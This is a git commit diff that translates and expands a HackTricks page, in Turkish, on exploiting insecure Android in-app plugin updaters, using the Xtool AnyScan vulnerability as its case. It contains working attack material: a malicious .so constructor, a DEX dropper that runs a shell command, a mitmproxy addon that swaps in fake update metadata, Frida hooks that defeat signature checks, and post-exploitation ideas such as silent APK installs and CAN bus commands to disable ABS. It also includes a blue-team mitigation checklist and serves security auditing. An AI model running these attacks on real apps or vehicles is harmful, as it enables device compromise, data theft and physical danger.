Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap

This commit is contained in:
Translator 2025-08-27 04:08:55 +00:00
parent 3284f3af8d
commit 6dc9fe8456

View File

@ -1,16 +1,49 @@
# Güvensiz Uygulama İçi Güncelleme Mekanizmaları Kötü Amaçlı Eklentilerle Uzaktan Kod Yürütme # Güvensiz Uygulama İçi Güncelleme Mekanizmaları Zararlı Eklentilerle Uzaktan Kod Çalıştırma
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Birçok Android uygulaması **Google Play Store** yerine **kendi “eklenti” veya “dinamik özellik” güncelleme kanallarını** uygular. Uygulama güvenli değilse, trafiği kesebilen bir saldırgan **uygulama sürecinde yüklenecek rastgele yerel kod sağlayabilir**, bu da cihazda tam Uzaktan Kod Yürütme (RCE) ile sonuçlanır ve bazı durumlarda uygulama tarafından kontrol edilen herhangi bir dış cihazda (arabalar, IoT, tıbbi cihazlar …) da. Birçok Android uygulaması Google Play Store yerine kendi “plugin” veya “dynamic feature” güncelleme kanallarını uygular. Uygulama yanlış yapılandırılmışsa ve saldırgan güncelleme trafiğini ele geçirebiliyor veya değiştirebiliyorsa, uygulama süreci içinde yüklenecek keyfi native veya Dalvik/ART kodu sağlayabilir; bu da telefonda tam Uzaktan Kod Çalıştırma (RCE) ile sonuçlanır — ve bazı durumlarda uygulama tarafından kontrol edilen harici cihazlarda da (arabalar, IoT, tıbbi cihazlar …).
Bu sayfa, Xtool **AnyScan** otomotiv-diyagnostik uygulamasında (v4.40.11 → 4.40.40) bulunan gerçek bir güvenlik açığı zincirini özetlemekte ve tekniği genelleştirerek diğer Android uygulamalarını denetlemenizi ve bir kırmızı takım angajmanı sırasında yanlış yapılandırmayı silahlandırmanızı sağlamaktadır. Bu sayfa, Xtool AnyScan otomotiv-diagnostik uygulamasında (v4.40.11 → 4.40.40) bulunan gerçek dünya bir zafiyet zincirini özetler ve tekniği genelleştirerek diğer Android uygulamalarını denetlemenizi ve yanlış yapılandırmayı bir red-team engagement sırasında sömürmenizi sağlar.
--- ---
## 1. Güvensiz TLS TrustManager'ı Belirleme ## 0. Hızlı triyaj: uygulamanın bir inapp updater'ı var mı?
1. APK'yı jadx / apktool ile decompile edin ve ağ yığınına (OkHttp, HttpUrlConnection, Retrofit…) ulaşın. JADX/apktool'ta bakılacak statik ipuçları:
2. Her sertifikayı körü körüne güvenen **özel bir `TrustManager`** veya `HostnameVerifier` arayın: - Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
- Ağ uç noktaları gibi `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
- Güncelleme yollarının yakınındaki kripto yardımcıları (DES/AES/RC4; Base64; JSON/XML paketleri).
- Dinamik yükleyiciler: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
- Uygulama içi veya harici depolamaya yazıp ardından hemen bir `.so`/DEX yükleyen unzip yolları.
Doğrulamak için çalışma zamanı kancaları:
```js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});
```
---
## 1. Güvensiz bir TLS TrustManager'ı Tespit Etme
1. jadx / apktool ile APK'yı decompile edin ve networking stack'i (OkHttp, HttpUrlConnection, Retrofit…) bulun.
2. Her sertifikaya körü körüne güvenen özel bir `TrustManager` veya `HostnameVerifier` arayın:
```java ```java
public static TrustManager[] buildTrustManagers() { public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{ return new TrustManager[]{
@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}; };
} }
``` ```
3. Eğer mevcutsa, uygulama **herhangi bir TLS sertifikasını** kabul edecektir → kendinden imzalı bir sertifika ile şeffaf bir **MITM proxy** çalıştırabilirsiniz: 3. Mevcutsa uygulama herhangi bir TLS sertifikasını kabul eder → self-signed cert ile transparent MITM proxy çalıştırabilirsiniz:
```bash ```bash
mitmproxy -p 8080 -s addon.py # see §4 mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
``` ```
## 2. Güncelleme Meta Verilerini Tersine Mühendislik Eğer TLS pinning güvenli olmayan trust-all mantığı yerine uygulanıyorsa, bkz:
AnyScan durumunda her uygulama başlatıldığında bir HTTPS GET isteği tetiklenir: {{#ref}}
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
{{#ref}}
make-apk-accept-ca-certificate.md
{{#endref}}
---
## 2. Reverse-Engineering the Update Metadata
AnyScan durumunda her uygulama başlatması şu adrese bir HTTPS GET tetikler:
``` ```
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
``` ```
Yanıt gövdesi, her mevcut eklentiyi tanımlayan **Base64 kodlu, DES-ECB şifreli** JSON içeren `<FileData>` düğümlerinden oluşan bir **XML belgesi**dir. Yanıt gövdesi, her bir kullanılabilir eklentiyi tanımlayan Base64 ile kodlanmış, DES-ECB ile şifrelenmiş JSON içeren <FileData> düğümlerine sahip bir XML belgesidir.
Tipik avlanma adımları: Tipik keşif adımları:
1. Kripto rutinini (örneğin `RemoteServiceProxy`) bulun ve geri kazanın: 1. Kripto rutinini (ör. `RemoteServiceProxy`) bulun ve şunları çıkarın:
* algoritma (DES / AES / RC4 …) - algoritma (DES / AES / RC4 …)
* çalışma modu (ECB / CBC / GCM …) - işlem modu (ECB / CBC / GCM …)
* sabit kodlu anahtar / IV (genellikle 56-bit DES anahtarları veya 128-bit AES anahtarları sabitlerde) - sabit kodlanmış key / IV (genellikle 56-bit DES veya 128-bit AES sabitleri)
2. Metadata'yı şifrelemek / şifre çözmek için Python'da fonksiyonu yeniden uygulayın: 2. Metadata'yı deşifrelemek / şifrelemek için fonksiyonu Python'da yeniden uygulayın:
```python ```python
from Crypto.Cipher import DES from Crypto.Cipher import DES
from base64 import b64decode, b64encode from base64 import b64decode, b64encode
@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB) cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode() return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
``` ```
## 3. Kötü Amaçlı Bir Eklenti Oluştur Notes seen in the wild (20232025):
- Metadata genellikle JSON-within-XML veya protobuf biçimindedir; weak ciphers ve static keys yaygındır.
- Birçok updaters, metadata HTTPS üzerinden gelmiş olsa bile gerçek payload indirmesi için plain HTTP kabul eder.
- Plugins sıklıkla app-internal storage içine unzip edilir; bazıları hâlâ external storage veya legacy `requestLegacyExternalStorage` kullanır; bu da cross-app tampering'e izin verir.
1. Herhangi bir meşru eklenti ZIP'ini seçin ve yerel kütüphaneyi yüklemenizle değiştirin: ---
## 3. Kötü Amaçlı Plugin Oluşturma
### 3.1 Native kütüphane yolu (dlopen/System.load[Library])
1. Herhangi bir meşru plugin ZIP'i seçin ve native library'yi payload'unuzla değiştirin:
```c ```c
// libscan_x64.so constructor runs as soon as the library is loaded // libscan_x64.so constructor runs as soon as the library is loaded
__attribute__((constructor)) __attribute__((constructor))
@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so $ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt $ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
``` ```
2. JSON meta verisini `"FileName" : "PWNED.zip"` olacak şekilde güncelleyin ve `"DownloadURL"`'nun HTTP sunucunuza işaret ettiğinden emin olun. 2. JSON meta verisini güncelleyin öyle ki `"FileName" : "PWNED.zip"` ve `"DownloadURL"` HTTP sunucunuza işaret etsin.
3. Değiştirilen JSON'u DES ile şifreleyin + Base64 ile kodlayın ve bunu yakalanan XML'in içine geri kopyalayın. 3. Değiştirilmiş JSON'u yeniden şifreleyin + Base64 ile kodlayın ve yakalanan XML'in içine geri kopyalayın.
## 4. Payload'u mitmproxy ile Gönderin ### 3.2 Dex tabanlı plugin yolu (DexClassLoader)
`addon.py` örneği, orijinal meta verileri *sessizce* değiştiren: Bazı uygulamalar bir JAR/APK indirir ve kodu `DexClassLoader` aracılığıyla yükler. Yükleme sırasında tetiklenen kötü amaçlı bir DEX oluşturun:
```java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
```
```bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
```
Hedef `Class.forName("pwn.Dropper")` çağırırsa statik başlatıcınız çalışır; aksi takdirde Frida ile yüklü sınıfları yansıtma yoluyla listeleyip dışa aktarılmış bir metodu çağırın.
---
## 4. Payload'ı mitmproxy ile teslim et
`addon.py` örneği, orijinal metadata'yı sessizce değiştirir:
```python ```python
from mitmproxy import http from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read() MOD_XML = open("fake_metadata.xml", "rb").read()
@ -89,36 +166,69 @@ MOD_XML,
{"Content-Type": "text/xml"} {"Content-Type": "text/xml"}
) )
``` ```
Kötü niyetli ZIP dosyasını barındırmak için basit bir web sunucusu çalıştırın: Kötü amaçlı ZIP/JAR'ı barındırmak için basit bir web server çalıştırın:
```bash ```bash
python3 -m http.server 8000 --directory ./payloads python3 -m http.server 8000 --directory ./payloads
``` ```
When the victim launches the app it will: Kurban uygulamayı başlattığında şunlar gerçekleşir:
* sahte XML'imizi MITM kanalı üzerinden alır; - MITM kanalı üzerinden sahte XML'imizi çeker;
* hard-coded DES anahtarı ile şifreyi çözer ve ayrıştırır; - hard-coded crypto ile decrypt & parse eder;
* `PWNED.zip` dosyasını indirir → özel depolama alanında açar; - `PWNED.zip` veya `plugin.jar` dosyasını indirir → özel depolama içinde unzip eder;
* `dlopen()` ile dahil edilen *libscan_x64.so* dosyasını çalıştırır, kodumuzu **uygulamanın izinleriyle** (kamera, GPS, Bluetooth, dosya sistemi, …) anında yürütür. - dahili `.so` veya DEX'i load eder ve uygulamanın izinleriyle (camera, GPS, Bluetooth, filesystem, …) kodumuzu anında çalıştırır.
Eklenti diskte önbelleğe alındığı için arka kapı **yeniden başlatmalarda kalıcıdır** ve kullanıcı ilgili özelliği her seçtiğinde çalışır. Eklenti diske cache'lendiği için backdoor yeniden başlatmalarda kalıcı olur ve kullanıcı ilgili özelliği seçtiğinde her seferinde çalışır.
## 5. Post-Exploitation Ideas ---
## 4.1 Bypassing signature/hash checks (when present)
* Uygulama tarafından saklanan oturum çerezlerini, OAuth token'larını veya JWT'leri çalın. If the updater validates signatures or hashes, hook verification to always accept attacker content:
* İkinci aşama bir APK bırakın ve `pm install` ile sessizce yükleyin (uygulama zaten `REQUEST_INSTALL_PACKAGES` iznine sahiptir). ```js
* Bağlı donanımı kötüye kullanın AnyScan senaryosunda rastgele **OBD-II / CAN bus komutları** gönderebilirsiniz (kapıları açma, ABS'yi devre dışı bırakma, vb.). // Frida make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});
```
Ayrıca `PluginVerifier.verifySignature()`, `checkHash()` gibi satıcı yöntemlerini stub'lamayı veya Java ya da JNI içinde update gating mantığını kısa devre yapmayı düşünün.
---
## 5. Güncelleyicilerdeki diğer saldırı yüzeyleri (20232025)
- Zip Slip path traversal while extracting plugins: kötü amaçlı girişler (ör. `../../../../data/data/<pkg>/files/target`) rastgele dosyaların üzerine yazabilir. Giriş yollarını her zaman temizleyin ve allowlists kullanın.
- External storage staging: uygulama arşivi yüklemeden önce external storage'a yazıyorsa, başka herhangi bir uygulama ona müdahale edebilir. Scoped Storage veya uygulama içi (internal) depolama bunu önler.
- Cleartext downloads: metadata HTTPS üzerinden ama payload HTTP üzerinden → basit bir MITM ile değiştirme.
- Incomplete signature checks: yalnızca tek bir dosya hash'ini karşılaştırmak, tüm arşivi kontrol etmemek; imzayı developer key ile bağlamamak; arşivde bulunan herhangi bir RSA anahtarını kabul etmek.
- React Native / Web-based OTA content: native bridge'ler OTA'dan gelen JS'i katı bir imzalama olmadan çalıştırıyorsa, uygulama bağlamında rastgele kod çalıştırma mümkün olabilir (ör. insecure CodePush-like flows). Detached update signing ve sıkı doğrulama uygulayın.
---
## 6. Post-Exploitation Ideas
- Uygulama tarafından saklanan session cookie'lerini, OAuth token'lerini veya JWT'leri çalın.
- İkinci aşama bir APK bırakın ve mümkünse `pm install` ile sessizce yükleyin (bazı uygulamalar zaten `REQUEST_INSTALL_PACKAGES` bildiriyor).
- Bağlı herhangi bir donanımı kötüye kullanın AnyScan senaryosunda rastgele OBDII / CAN bus komutları gönderebilirsiniz (kapıları açmak, ABS'i devre dışı bırakmak, vb.).
--- ---
### Detection & Mitigation Checklist (blue team) ### Detection & Mitigation Checklist (blue team)
* Sertifika doğrulamasını devre dışı bırakan özel bir TrustManager/HostnameVerifier ile üretim sürümü asla göndermeyin. - Dinamik kod yüklemelerinden ve outofstore güncellemelerden kaçının. Playmediated güncellemeleri tercih edin. Eğer dinamik pluginler zorunluluksa, bunları sadece veripaketleri olarak tasarlayın ve yürütülebilir kodu base APK'da tutun.
* Google Play dışından yürütülebilir kod indirmeyin. Eğer *zorundaysanız*, her eklentiyi aynı **apkSigning v2** anahtarı ile imzalayın ve yüklemeden önce imzayı doğrulayın. - TLS'i düzgün şekilde zorunlu kılın: custom trustall yöneticileri kullanmayın; mümkünse pinning uygulayın ve cleartext trafiğini engelleyen sertleştirilmiş bir network security config dağıtın.
* Zayıf/hard-coded kriptografiyi **AES-GCM** ve sunucu tarafında dönen bir anahtarla değiştirin. - Google Play dışından executable kod indirmeyin. Zorunluysa detached update signing (ör. Ed25519/RSA) kullanın, developer tarafından tutulan bir anahtar ile doğrulayın ve yüklemeden önce kontrol edin. Metadata ile payload'u (length, hash, version) bağlayın ve fail closed davranın.
* İndirilen arşivlerin bütünlüğünü doğrulayın (imza veya en azından SHA-256). - Metadata için her mesajda nonce kullanan modern kriptografiyi (AESGCM) kullanın; client'lardaki hardcoded anahtarları kaldırın.
- İndirilen arşivlerin bütünlüğünü doğrulayın: her dosyayı kapsayan bir imzayı doğrulayın veya en azından bir SHA256 hash manifest'ini doğrulayın. Ek/unknown dosyaları reddedin.
- İndirmeleri appinternal storage'da (veya Android 10+ için scoped storage) saklayın ve uygulamalar arası müdahaleyi önleyen dosya izinleri kullanın.
- Zip Slip'e karşı savunma: çıkarma öncesi zip giriş yollarını normalize edin ve doğrulayın; mutlak yolları veya `..` segmentlerini reddedin.
- Play “Code Transparency”yı değerlendirin; bu, dağıtılan DEX/native kodunun sizin build'inizle eşleşip eşleşmediğini siz ve kullanıcıların doğrulamasına olanak verir (tamamlayıcıdır ama APK signing'in yerine geçmez).
--- ---
## References ## References
- [NowSecure Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/) - [NowSecure Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager) - [Android Developers Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}